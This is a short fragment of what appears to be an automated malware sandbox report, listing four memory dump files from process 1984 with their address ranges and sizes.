Download
memory/1984-149-0x000000001AC90000-0x000000001AC92000-memory.dmp

Filesize
8KB

Download
memory/1984-152-0x00000000027A0000-0x00000000027A1000-memory.dmp

Filesize
4KB

Download
memory/1984-154-0x00000000027C0000-0x00000000027C1000-memory.dmp

Filesize
4KB

Download
memory/1984-157-0x0000000002240000-0x0000000002241000-memory.dmp

Filesize
4KB

Download